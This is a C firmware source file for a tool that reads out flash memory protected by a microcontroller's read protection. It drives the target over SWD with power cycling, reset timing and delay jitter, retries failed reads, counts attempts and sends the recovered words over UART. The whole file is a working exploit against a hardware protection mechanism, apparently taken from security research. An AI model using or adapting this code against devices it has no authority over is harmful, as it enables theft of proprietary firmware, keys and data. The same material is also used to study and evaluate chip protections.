/*
 * This Source Code Form is subject to the terms of the MIT License.
 * If a copy of the MIT License was not distributed with this file,
 * you can obtain one at https://opensource.org/licenses/MIT
 */

#include <stdint.h>
#include <string.h>
#include "main.h"
#include "system.h"
#include "swd.h"
#include "target.h"
#include "uart.h"


static swdStatus_t extractFlashData( uint32_t const address, uint32_t * const data );

static extractionStatistics_t extractionStatistics = {0u};
static uartControl_t uartControl = {0u};


/* Reads one 32-bit word from read-protection Flash memory.
   Address must be 32-bit aligned */
static swdStatus_t extractFlashData( uint32_t const address, uint32_t * const data )
{
	swdStatus_t dbgStatus = swdStatusNone;

	/* Add some jitter on the moment of attack (may increase attack effectiveness) */
	static uint16_t delayJitter = DELAY_JITTER_MS_MIN;

	uint32_t extractedData = 0u;
	uint32_t idCode = 0u;

	/* Limit the maximum number of attempts PER WORD */
	uint32_t numReadAttempts = 0u;


	/* try up to MAX_READ_TRIES times until we have the data */
	do
	{

        LED_BSRR |= (1 << (GREEN_LED_PIN + 16)); /* off */
		targetSysOn();

		waitms(5u);

		dbgStatus = swdInit( &idCode );

		if (likely(dbgStatus == swdStatusOk))
		{
			dbgStatus = swdEnableDebugIF();
		}

		if (likely(dbgStatus == swdStatusOk))
		{
			dbgStatus = swdSetAP32BitMode( NULL );
		}

		if (likely(dbgStatus == swdStatusOk))
		{
			dbgStatus = swdSelectAHBAP();
		}

		if (likely(dbgStatus == swdStatusOk))
		{
			targetSysUnReset();
			waitms(delayJitter);

			/* The magic happens here! */
			dbgStatus = swdReadAHBAddr( (address & 0xFFFFFFFCu), &extractedData );
		}

		targetSysReset();
		++(extractionStatistics.numAttempts);

		/* Check whether readout was successful. Only if swdStatusOK is returned, extractedData is valid */
		if (dbgStatus == swdStatusOk)
		{
			*data = extractedData;
			++(extractionStatistics.numSuccess);
            LED_BSRR |= (1 << (GREEN_LED_PIN)); /* on */
		}
		else
		{
			++(extractionStatistics.numFailure);
			++numReadAttempts;

			delayJitter += DELAY_JITTER_MS_INCREMENT;
			if (delayJitter >= DELAY_JITTER_MS_MAX)
			{
				delayJitter = DELAY_JITTER_MS_MIN;
			}
		}

		targetSysOff();

		waitms(1u);
	}
	while ((dbgStatus != swdStatusOk) && (numReadAttempts < (MAX_READ_ATTEMPTS)));

	return dbgStatus;
}


void printExtractionStatistics( void )
{
	uartSendStr("Statistics: \r\n");

	uartSendStr("Attempts: 0x");
	uartSendWordHexBE(extractionStatistics.numAttempts);
	uartSendStr("\r\n");

	uartSendStr("Success: 0x");
	uartSendWordHexBE(extractionStatistics.numSuccess);
	uartSendStr("\r\n");

	uartSendStr("Failure: 0x");
	uartSendWordHexBE(extractionStatistics.numFailure);
	uartSendStr("\r\n");
}


int main()
{
    uint32_t reg;
	/* Enable all GPIO clocks */
    AHB1_CLOCK_ER |= (GPIOA_AHB1_CLOCK_ER | GPIOB_AHB1_CLOCK_ER | GPIOC_AHB1_CLOCK_ER | GPIOD_AHB1_CLOCK_ER | GPIOE_AHB1_CLOCK_ER | GPIOF_AHB1_CLOCK_ER); 


    /* Leds */
#ifdef CUSTOM_HW
    reg = GPIOE_MODE & ~ (0x03 << (BLUE_LED_PIN * 2));
    GPIOE_MODE = reg | (1 << (BLUE_LED_PIN * 2));
    reg = GPIOE_PUPD & (0x03 <<  (BLUE_LED_PIN * 2));
    GPIOE_PUPD = reg | (0x02 << (BLUE_LED_PIN * 2));

    GPIOD_MODE &= ~(0x03 << (BUTTON_PIN * 2));
#else

    reg = GPIOD_MODE & ~ (0x03 << (BLUE_LED_PIN * 2));
    GPIOD_MODE = reg | (1 << (BLUE_LED_PIN * 2));
    reg = GPIOD_PUPD & (0x03 <<  (BLUE_LED_PIN * 2));
    GPIOD_PUPD = reg | (0x02 << (BLUE_LED_PIN * 2));
    
    reg = GPIOD_MODE & ~ (0x03 << (RED_LED_PIN * 2));
    GPIOD_MODE = reg | (1 << (RED_LED_PIN * 2));
    reg = GPIOD_PUPD & (0x03 <<  (RED_LED_PIN * 2));
    GPIOD_PUPD = reg | (0x02 << (RED_LED_PIN * 2));
    
    reg = GPIOD_MODE & ~ (0x03 << (GREEN_LED_PIN * 2));
    GPIOD_MODE = reg | (1 << (GREEN_LED_PIN * 2));
    reg = GPIOD_PUPD & (0x03 <<  (GREEN_LED_PIN * 2));
    GPIOD_PUPD = reg | (0x02 << (GREEN_LED_PIN * 2));
    /* button */
    GPIOA_MODE &= ~ (0x03 << (BUTTON_PIN * 2));
#endif
    

    /* target (swd) */
    reg = GPIOA_MODE & ~ (0x03 << (PIN_SWCLK * 2));
    GPIOA_MODE = reg | (1 << (PIN_SWCLK * 2));
    reg = GPIOA_PUPD & (0x03 <<  (PIN_SWCLK * 2));
    GPIOA_PUPD = reg | (0x02 << (PIN_SWCLK * 2));
    reg = GPIOA_OSPD & (0x03 << (PIN_SWCLK * 2));
    GPIOA_OSPD = reg | (0x03 << (PIN_SWCLK * 2));
    
    reg = GPIOA_MODE & ~ (0x03 << (PIN_SWDIO * 2));
    GPIOA_MODE = reg | (1 << (PIN_SWDIO * 2));
    reg = GPIOA_PUPD & (0x03 <<  (PIN_SWDIO * 2));
    GPIOA_PUPD = reg | (0x01 << (PIN_SWDIO * 2));
    reg = GPIOA_OSPD & (0x03 << (PIN_SWDIO * 2));
    GPIOA_OSPD = reg | (0x03 << (PIN_SWDIO * 2));

    /* target (ctrl) */
    reg = GPIOA_MODE & ~ (0x03 << (PIN_POWER * 2));
    GPIOA_MODE = reg | (1 << (PIN_POWER * 2));
    reg = GPIOA_PUPD & (0x03 <<  (PIN_POWER * 2));
    GPIOA_PUPD = reg | (0x02 << (PIN_POWER * 2));
    reg = GPIOA_OSPD & (0x03 << (PIN_POWER * 2));
    GPIOA_OSPD = reg | (0x03 << (PIN_POWER * 2));
    
    reg = GPIOA_MODE & ~ (0x03 << (PIN_RESET * 2));
    GPIOA_MODE = reg | (1 << (PIN_RESET * 2));
    reg = GPIOA_PUPD & (0x03 <<  (PIN_RESET * 2));
    GPIOA_PUPD = reg | (0x02 << (PIN_RESET * 2));
    reg = GPIOA_OSPD & (0x03 << (PIN_RESET * 2));
    GPIOA_OSPD = reg | (0x03 << (PIN_RESET * 2));
    

    clock_pll_on(0);
    systick_on();
	uartInit();
    LED_BSRR |= (1 << BLUE_LED_PIN) | (1 << GREEN_LED_PIN);

	uartControl.transmitHex = 0u;
	uartControl.transmitLittleEndian = 1u;
	uartControl.readoutAddress = 0x00000000u;
	uartControl.readoutLen = (64u * 1024u);
	uartControl.active = 0u;


	uint32_t readoutInd = 0u;
	uint32_t flashData = 0xFFFFFFFFu;
	uint32_t btnActive = 0u;
	uint32_t once = 0u;
    uint32_t waitcycles = 0u;
	swdStatus_t status = swdStatusOk;

	while (1u)
	{
		uartReceiveCommands( &uartControl );

		/* Start as soon as the button B1 has been pushed */
        if (!(BUTTON_IDR & (1 << BUTTON_PIN)))
			btnActive = 1u;

		if (uartControl.active || btnActive)
		{
			/* reset statistics on extraction start */
			if (!once)
			{
				once = 1u;

				extractionStatistics.numAttempts = 0u;
				extractionStatistics.numSuccess = 0u;
				extractionStatistics.numFailure = 0u;
			}

			status = extractFlashData((uartControl.readoutAddress + readoutInd), &flashData);

			if (status == swdStatusOk)
			{

				if (!(uartControl.transmitHex))
				{
					uartSendWordBin( flashData, &uartControl );
				}
				else
				{
					uartSendWordHex( flashData, &uartControl );
					uartSendStr(" ");
				}

				readoutInd += 4u;
			}
			else
			{
				if (uartControl.transmitHex)
				{
					uartSendStr("\r\n!ExtractionFailure");
					uartSendWordHexBE( status );
				}
			}

			if ((readoutInd >= uartControl.readoutLen) || (status != swdStatusOk))
			{
				btnActive = 0u;
				uartControl.active = 0u;
				readoutInd = 0u;
				once = 0u;

				/* Print EOF in HEX mode */
				if (uartControl.transmitHex != 0u)
				{
					uartSendStr("\r\n");
				}
			}
		} else { /* Idle */
            if (waitcycles++ == 2000000) {
                LED_BSRR |= (1 << BLUE_LED_PIN);
                waitcycles = 0;
            }
            if (waitcycles == 1000000) {
                LED_BSRR |= (1 << (BLUE_LED_PIN + 16));
            }
                
        }

	}

	return 0u;
}